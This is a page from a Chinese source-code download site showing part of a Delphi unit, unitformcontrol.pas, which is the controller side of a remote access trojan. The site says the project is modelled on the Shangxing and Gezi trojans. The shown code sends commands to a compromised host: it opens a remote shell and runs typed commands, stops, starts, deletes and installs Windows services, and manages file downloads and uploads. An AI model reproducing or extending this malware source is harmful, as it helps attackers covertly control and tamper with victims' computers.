⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitformcontrol.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
📖 第 1 页 / 共 5 页
字号:
      AThread.Connection.Disconnect;
      TmpStream.Free;
      MyStream.Free;
      bitmap.Free;
    Except
    End;
  end;
end;


procedure TFormControl.TransferFinishedNotification(Sender:TObject);
var
  Descarga: TDescargaHandler;
  i : integer;
begin
  if not Servidor.Terminated and Servidor.Connection.Connected then
  begin
    for i := 0 to ListViewDescargas.Items.Count -1 do
    begin
      Descarga := TDescargaHandler(ListViewDescargas.Items[i].Data);
      if not Descarga.Transfering and not Descarga.cancelado and not Descarga.Finalizado and Descarga.es_descarga then //en espera
      begin
      try
        Servidor.Connection.Writeln('RESUMETRANSFER|' + Descarga.Origen + '|' + IntToStr(Descarga.Descargado));
      except
      end;
        Exit;
      end;
    end;
  end;
end;





procedure TFormControl.ListViewDescargasContextPopup(Sender: TObject;
  MousePos: TPoint; var Handled: Boolean);
var
  Descarga: TDescargaHandler;
begin
  if ListViewDescargas.Selected <> nil then
  begin
    Descarga := TDescargaHandler(ListViewDescargas.Selected.Data);
    if Descarga.Transfering then
    begin
      PopupDescargas.Items[0].Enabled := True;
      PopupDescargas.Items[1].Enabled := False;
      PopupDescargas.Items[2].Enabled := False;
      PopupDescargas.Items[3].Enabled := False;
      PopupDescargas.Items[4].Enabled := False;
      PopupDescargas.Items[5].Enabled := False;
      PopupDescargas.Items[7].Enabled := False;
    end else if (not Descarga.Transfering)   AND (not Descarga.Finalizado) then
    begin
      PopupDescargas.Items[0].Enabled := False;
      PopupDescargas.Items[1].Enabled := True;
      PopupDescargas.Items[2].Enabled := True;
      PopupDescargas.Items[3].Enabled := True;
      PopupDescargas.Items[4].Enabled := True;
      PopupDescargas.Items[5].Enabled := True;
      PopupDescargas.Items[7].Enabled := True;
    end
    else if Descarga.Finalizado then
    begin
      PopupDescargas.Items[0].Enabled := False;
      PopupDescargas.Items[1].Enabled := False;
      PopupDescargas.Items[2].Enabled := True;
      PopupDescargas.Items[3].Enabled := True;
      PopupDescargas.Items[4].Enabled := True;
      PopupDescargas.Items[5].Enabled := True;
      PopupDescargas.Items[7].Enabled := True;
    end;
  end;
  if (ListViewDescargas.Selected = nil ) then
  begin
    PopupDescargas.Items[0].Enabled := False;
    PopupDescargas.Items[1].Enabled := False;
    PopupDescargas.Items[2].Enabled := False;
    PopupDescargas.Items[3].Enabled := False;
    PopupDescargas.Items[4].Enabled := False;
    PopupDescargas.Items[5].Enabled := False;
    PopupDescargas.Items[7].Enabled := False;
  end;


  if not Descarga.es_descarga then PopupDescargas.Items[1].Enabled := False;

end;



procedure TFormControl.ListViewDescargasCustomDrawSubItem(
  Sender: TCustomListView; Item: TListItem; SubItem: Integer;
  State: TCustomDrawState; var DefaultDraw: Boolean);
var
  Descarga: TDescargaHandler;
begin
//exit;
  Descarga := TDescargaHandler(Item.data);
  if Descarga.Finalizado then
  begin
    Sender.Canvas.Font.Color:=clGreen;
    Sender.Canvas.Font.Style := [fsbold];
  end
  else if not Descarga.cancelado then
  begin
    Sender.Canvas.Font.Color:=clBlack;
    Sender.Canvas.Font.Style := [];
  end
  else
  begin
    Sender.Canvas.Font.Color:=clRed;
    Sender.Canvas.Font.Style := [fsbold];
  end;
end;


procedure TFormControl.Eliminardescarga1Click(Sender: TObject);
var
  Descarga: TDescargaHandler;
  i, j:integer;
begin
  if not TDescargaHandler(ListViewDescargas.Selected.Data).Transfering then
  begin
    TDescargaHandler(ListViewDescargas.Selected.Data).ProgressBar.Free;
    TDescargaHandler(ListViewDescargas.Selected.Data).Free;
    i := ListViewDescargas.Selected.Index;
    ListViewDescargas.Selected.Delete;
    for j := i to ListViewDescargas.Items.Count - 1 do
      if ListViewDescargas.Items.Item[j].Data <> nil then
        begin
          Descarga := TDescargaHandler(ListViewDescargas.Items.Item[j].Data);
          Descarga.ProgressBar.Top := Descarga.ProgressBar.Top -
                    (Descarga.ProgressBar.BoundsRect.Bottom -
                     Descarga.ProgressBar.BoundsRect.Top);
        end;
    end;
end;


procedure TFormControl.Borrarcompletados1Click(Sender: TObject);
var
  i, j: Integer;
  Descarga: TDescargaHandler;
begin
  for i:=ListViewDescargas.Items.Count -1 downto 0 do
  begin
    Descarga := TDescargaHandler(ListViewDescargas.Items.Item[i].Data);
    if Descarga.Finalizado then
    begin
      Descarga.ProgressBar.Free;
      ListViewDescargas.Items[i].Delete;
      Descarga.Free;

      for j := i to ListViewDescargas.Items.Count - 1 do
       //Si hay una progressbar subirla un puesto
        if ListViewDescargas.Items.Item[j].Data <> nil then
        begin
          Descarga := TDescargaHandler(ListViewDescargas.Items.Item[j].Data);
          Descarga.ProgressBar.Top := Descarga.ProgressBar.Top -
                    (Descarga.ProgressBar.BoundsRect.Bottom -
                     Descarga.ProgressBar.BoundsRect.Top);
        end;
    end;
  end;
end;


procedure TFormControl.Subiralprimerpuesto1Click(Sender: TObject);
var
  Item: TListItem;
  i, j: Integer;
begin
  for i:=0 to ListViewDescargas.Items.Count -1 do
    if ListViewDescargas.Items.Item[i].SubItems[0] = 'En espera' then
    begin
      if ListViewDescargas.ItemIndex = i then Exit;
      Item := TListItem.Create(ListViewDescargas.Items);
      Item.Assign(ListViewDescargas.Selected);
      for j:= ListViewDescargas.Selected.Index downto i + 1 do
        ListViewDescargas.Items.Item[j] := ListViewDescargas.Items.Item[j - 1];
      ListViewDescargas.Items.Item[i] := Item;
      ListViewDescargas.ItemIndex := i;
      Item.Free;
      break;
    end;
end;

//Subir un puesto
procedure TFormControl.Subir1Click(Sender: TObject);
var
  Item: TListItem;
  i: Integer;
begin
  if ListViewDescargas.ItemIndex = 0 then exit;
  i := ListViewDescargas.ItemIndex;
  if ListViewDescargas.Items.Item[i - 1].SubItems[0] = 'En espera' then
  begin
    Item := TListItem.Create(ListViewDescargas.Items);
    Item.Assign(ListViewDescargas.Selected);
    ListViewDescargas.Items.Item[i] := ListViewDescargas.Items.Item[i - 1];
    ListViewDescargas.Items.Item[i - 1] := Item;
    ListViewDescargas.ItemIndex := i - 1;
    Item.Free;
  end;
end;


procedure TFormControl.Bajar1Click(Sender: TObject);
var
  Item: TListItem;
  i: Integer;
begin
  if ListViewDescargas.ItemIndex = ListViewDescargas.Items.Count - 1 then exit;
  i := ListViewDescargas.ItemIndex;
  if ListViewDescargas.Items.Item[i + 1].SubItems[0] = 'En espera' then
  begin
    Item := TListItem.Create(ListViewDescargas.Items);
    Item.Assign(ListViewDescargas.Selected);
    ListViewDescargas.Items.Item[i] := ListViewDescargas.Items.Item[i + 1];
    ListViewDescargas.Items.Item[i + 1] := Item;
    ListViewDescargas.ItemIndex := i + 1;
    Item.Free;
  end;
end;

procedure TFormControl.ltimopuesto1Click(Sender: TObject);
var
  Item: TListItem;
  i, j: Integer;
begin
  for i:=ListViewDescargas.Items.Count -1 downto 0 do
    if ListViewDescargas.Items.Item[i].SubItems[0] = 'En espera' then
    begin
      if ListViewDescargas.ItemIndex = i then Exit;
      Item := TListItem.Create(ListViewDescargas.Items);
      Item.Assign(ListViewDescargas.Selected);
      for j:= i + 1 to ListViewDescargas.Selected.Index do
        ListViewDescargas.Items.Item[j] := ListViewDescargas.Items.Item[j + 1];
      ListViewDescargas.Items.Item[i] := Item;
      ListViewDescargas.ItemIndex := i;
      Item.Free;
      break;
    end;
end;

procedure TFormControl.Activar2Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
    Servidor.Connection.Writeln('SHELL|ACTIVAR')
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.ComboBoxShellCommandKeyPress(Sender: TObject; var Key: Char);
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
  if Key=#13 then
  begin
    Memoshell.Lines.Clear;
    Memoshell.Lines.Add('$:\>'+edit1.text);
    Servidor.Connection.Writeln('SHELL|' + edit1.text);
	 Memoshell.Lines.Add('请稍后,-------------------  正在等待反馈信息... ...');
   edit1.Clear;
  end;
end;

procedure TFormControl.BtnCambiarFuenteShellClick(Sender: TObject);
begin
  if DlgFont.Execute then
  begin
    MemoShell.Font := DlgFont.Font;
    //ComboBoxShellCommand.Font := DlgFont.Font;
    if MemoShell.Color = MemoShell.Font.Color then
       MessageBox(Handle, '已经选择了同样的颜色.', '提示', 0+MB_IconWarning);
  end;
end;

procedure TFormControl.BtnCambiarColorShellClick(Sender: TObject);
begin
  if DlgColors.Execute then
  begin
    MemoShell.Color := DlgColors.Color;
   // ComboBoxShellCommand.Color := DlgColors.Color;
    if MemoShell.Color = MemoShell.Font.Color then
      MessageBox(Handle, '已经选择了同样的颜色.', '提示', 0+MB_IconWarning);
  end;
end;

procedure TFormControl.PopupShellPopup(Sender: TObject);
begin
  Activar2.Enabled := not edit1.Enabled;
  Desactivar2.Enabled := edit1.Enabled;
end;

procedure TFormControl.Desactivar2Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    speedbutton2.enabled:=false;
    speedbutton1.enabled:=true;
    Servidor.Connection.Writeln('SHELL|DESACTIVAR');
    end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.Guardarcmo1Click(Sender: TObject);
begin
  DlgGuardar.Title := 'Guardar texto :: RAT ::';
  DlgGuardar.InitialDir := GetCurrentDir();
  DlgGuardar.Filter  := 'Archivo de texto (*.txt)|*.txt';
  DlgGuardar.DefaultExt := 'txt';
  if DlgGuardar.Execute then
  begin
    MemoShell.Lines.SaveToFile(DlgGuardar.FileName);
    StatusBar.Panels[1].Text := 'Archivo guardado como: ' + DlgGuardar.FileName;
  end;
end;

procedure TFormControl.BtnServiciosClick(Sender: TObject);
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
  ListViewServicios.Clear ;
  Servidor.Connection.Writeln('LISTARSERVICIOS')
end;

procedure TFormControl.DEtener1Click(Sender: TObject);
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
  Servidor.Connection.Writeln('DETENERSERVICIO' + ListViewServicios.Selected.Caption);
end;

procedure TFormControl.Iniciar1Click(Sender: TObject);
begin

  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
  Servidor.Connection.Writeln('INICIARSERVICIO' + ListViewServicios.Selected.Caption);
end;

procedure TFormControl.Desinstalar1Click(Sender: TObject);
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
  Servidor.Connection.Writeln('BORRARSERVICIO' + ListViewServicios.Selected.Caption);
end;

procedure TFormControl.Instalar1Click(Sender: TObject);
begin
  BtnCancelarInstalarServicio.Visible := True;
  MultiEditInstalarServicio.Visible := True;
  btnInstServicios2.Visible := True ;
  MultiEditInstalarServicio.Text := '新建服务'
end;

procedure TFormControl.BtnCancelarInstalarServicioClick(Sender: TObject);
begin
 BtnCancelarInstalarServicio.Visible := False;
  MultiEditInstalarServicio.Visible := False;
  btnInstServicios2.Visible := False;
end;

procedure TFormControl.btnSiguienteInstalarServicioClick(Sender: TObject);
begin
  NombreSI :=MultiEditInstalarServicio.Text;
  MultiEditInstalarServicio.Text := '命令完成';
end;

procedure TFormControl.btnInstServiciosClick(Sender: TObject);
begin
  descripcionSI := MultiEditInstalarServicio.Text;
  MultiEditInstalarServicio.Text := '命令完成';
  btnInstServicios2.Visible := True;
end;

procedure TFormControl.btnInstServicios2Click(Sender: TObject);
begin
  if not Servidor.Connection.Connected then
  begin
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
    exit;
  end;
  RutaSI := MultiEditInstalarServicio.Text;
  Servidor.Connection.Writeln('INSTALARSERVICIO' + nombresi + '|' + descripcionSI + '|' + rutaSi + '|');
  BtnCancelarInstalarServicio.Visible := False;
  MultiEditInstalarServicio.Visible := False;
  btnInstServicios2.Visible := False;
end;

procedure TFormControl.PopupDescargasPopup(Sender: TObject);
var
  Descarga:TDescargaHandler;
begin
  if ListViewDescargas.Selected = nil then Exit;
  Descarga := TDescargaHandler(ListViewDescargas.Selected.Data);
  if not Descarga.Transfering then
    PopUpDescargas.Items[0].Enabled := False; //menu Detener descarga
  if Descarga.cancelado then
    PopU

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -